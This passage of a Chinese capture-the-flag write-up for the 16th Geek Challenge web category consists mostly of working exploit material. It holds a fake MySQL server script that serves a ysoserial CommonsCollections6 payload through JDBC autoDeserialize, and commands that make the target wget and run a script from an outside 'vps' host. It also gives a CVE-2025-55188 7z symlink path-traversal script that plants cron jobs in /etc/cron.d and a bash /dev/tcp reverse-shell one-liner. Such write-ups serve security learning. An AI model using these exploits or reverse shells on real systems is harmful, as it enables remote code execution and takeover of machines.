_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3307

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

题目出网

yso生成payload

1
2
java -jar ysoserial-all.jar CommonsCollections6  "wget http://vps:7777/ppp" > payload

运行fake mysql

python开http,写入反弹shell命令到文件

1
/connect?name=root&pass=root&url=jdbc:mysql://139.199.192.82:3307/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

生成新payload

1
java -jar ysoserial-all.jar CommonsCollections6  "bash ppp" > payload

重新运行fake mysql

发payload弹shell

1
/connect?name=root&pass=root&url=jdbc:mysql://139.199.192.82:3307/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

7777 time task

https://github.com/lunbun/CVE-2025-55188/blob/main/poc_extraction_root/make_arb_write_7z.sh

小改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#

olddir="$(pwd)"

tempdir="$(mktemp -d)"
cd "$tempdir"

mkdir -p a/b
ln -s /a a/b/link
7zz a arb_write.7z a/b/link -snl

ln -s a/b/link/../../etc/cron.d link
7zz a arb_write.7z link -snl
rm link

mkdir link
echo "* * * * * root cat /flag|tee /app/flag" > link/pwn
7zz a arb_write.7z link/pwn
cp arb_write.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"

成功目录穿越写入文件

启动脚本运行了定时任务

可以往/etc/cron.d写一个定时任务

反弹shell

1
bash -i >& /dev/tcp/vps/8888 0>&1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#

olddir="$(pwd)"

tempdir="$(mktemp -d)"
cd "$tempdir"

mkdir -p a/b
ln -s /a a/b/link
7zz a arb_write.7z a/b/link -snl

ln -s a/b/link/../../etc/cron.d link
7zz a arb_write.7z link -snl
rm link

mkdir link
echo '* * * * * root wget -O /tmp/ppp http://vps:7777/ppp && bash /tmp/ppp' > link/pwn
7zz a arb_write.7z link/pwn
cp arb_write.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"


第16届极客大挑战-web
http://example.com/2025/11/27/第16届极客大挑战-web/
作者
J_0k3r
发布于
2025年11月27日
许可协议
BY J_0K3R